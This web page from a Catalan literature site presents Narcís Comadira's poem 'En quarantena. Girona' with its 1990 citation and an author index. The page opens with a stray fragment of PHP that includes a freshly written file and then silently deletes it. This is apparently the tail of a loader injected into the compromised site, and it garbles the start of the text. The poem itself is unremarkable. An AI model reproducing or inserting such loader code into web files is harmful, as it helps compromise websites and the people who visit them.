");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> En quarantena. Girona - Narcís Comadira
Facebook Twitter

En quarantena

Narcís Comadira
En quarantena. Girona

L’últim reflex suspès l’aigua bruta estancada
sola amb el teu rovell les carpes malaltisses
s’esmunyen per passeres antigues els llums grocs
i l’olor del cafè l’estació deserta
l’espina a la carn jove crit d’un nen epilèptic
la cera els crisantems

fugen fugen pels ponts sobre el buit cap enlloc
i la pell es clivella es moren les magnòlies
de l’hospital gemega l’últim tren que no es para
que ve de la frontera va cap a la frontera
oblidar-se oblidar-te sobretot a l’octubre
tot m’és indiferent
Narcís Comadira, En quarantena. Girona. (1990), a Formes de l’ombra: Poesia 1966-2002, Edicions 62 i Empúries, 2002
Narcís Comadira
Cercador d’autors
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Traduccions de la literatura catalana
Podeu consultar més pàgines sobre la literatura catalana en traducció a:
Amb el suport de: